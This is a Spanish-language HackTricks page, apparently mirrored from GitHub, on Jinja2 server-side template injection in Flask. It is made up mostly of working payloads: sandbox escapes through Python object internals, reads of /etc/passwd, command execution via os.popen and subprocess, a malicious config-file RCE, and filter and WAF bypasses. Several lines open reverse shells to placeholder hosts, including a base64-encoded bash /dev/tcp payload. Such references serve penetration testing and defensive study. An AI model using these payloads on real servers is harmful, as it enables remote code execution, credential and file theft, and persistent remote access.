mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
344 lines
15 KiB
Markdown
344 lines
15 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Laboratorio**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Varios**
|
|
|
|
### **Declaración de Depuración**
|
|
|
|
Si la Extensión de Depuración está habilitada, un tag `debug` estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Volcar todas las variables de configuración**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Inyección Jinja**
|
|
|
|
Primero que nada, en una inyección Jinja necesitas **encontrar una manera de escapar del sandbox** y recuperar el acceso al flujo de ejecución de python regular. Para hacerlo, necesitas **abusar de objetos** que son **del** **entorno no sandboxed pero son accesibles desde el sandbox**.
|
|
|
|
### Accediendo a Objetos Globales
|
|
|
|
Por ejemplo, en el código `render_template("hello.html", username=username, email=email)` los objetos username y email **provienen del entorno python no sandboxed** y serán **accesibles** dentro del **entorno sandboxed.**\
|
|
Además, hay otros objetos que serán **siempre accesibles desde el entorno sandboxed**, estos son:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Recuperando \<class 'object'>
|
|
|
|
Luego, a partir de estos objetos necesitamos llegar a la clase: **`<class 'object'>`** para intentar **recuperar** las **clases** definidas. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del** entorno python **no sandboxed**.
|
|
|
|
Para acceder a esa **clase objeto**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase objeto** llamamos a **`__subclasses__()`**.
|
|
|
|
Revisa estos ejemplos:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**Habiendo recuperado** `<class 'object'>` y llamado a `__subclasses__`, ahora podemos usar esas clases para leer y escribir archivos y ejecutar código.
|
|
|
|
La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos de nuevas funciones**, estaremos contentos solo con acceder a la **clase de archivo** para **leer/escribir archivos** o cualquier clase con acceso a una clase que **permita ejecutar comandos** (como `os`).
|
|
|
|
**Leer/Escribir archivo remoto**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**Ejecución Remota de Código**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypasses de filtro
|
|
|
|
#### Bypasses comunes
|
|
|
|
Estos bypass nos permitirán **acceder** a los **atributos** de los objetos **sin usar algunos caracteres**.\
|
|
Ya hemos visto algunos de estos bypass en los ejemplos anteriores, pero resumamos aquí:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
```
|
|
* [**Regresa aquí para más opciones para acceder a un objeto global**](jinja2-ssti.md#accessing-global-objects)
|
|
* [**Regresa aquí para más opciones para acceder a la clase de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
* [**Lee esto para obtener RCE sin la clase de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Evitando la codificación HTML**
|
|
|
|
Por defecto, Flask codifica en HTML todo lo dentro de una plantilla por razones de seguridad:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**El filtro `safe`** nos permite inyectar JavaScript y HTML en la página **sin** que sea **codificado en HTML**, así:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**Ejecución Remota de Código (RCE) escribiendo un archivo de configuración malicioso.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Sin varios caracteres
|
|
|
|
Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
```
|
|
## Inyección Jinja sin **\<class 'object'>**
|
|
|
|
Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
|
|
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
|
|
|
|
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins con:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF bypass
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) es una herramienta que está especializada en CTFs, pero también puede ser útil para forzar parámetros inválidos en un escenario real. La herramienta simplemente lanza palabras y consultas para detectar filtros, buscando bypasses, y también proporciona una consola interactiva.
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## Referencias
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
* Consulta [el truco de attr para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
|
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|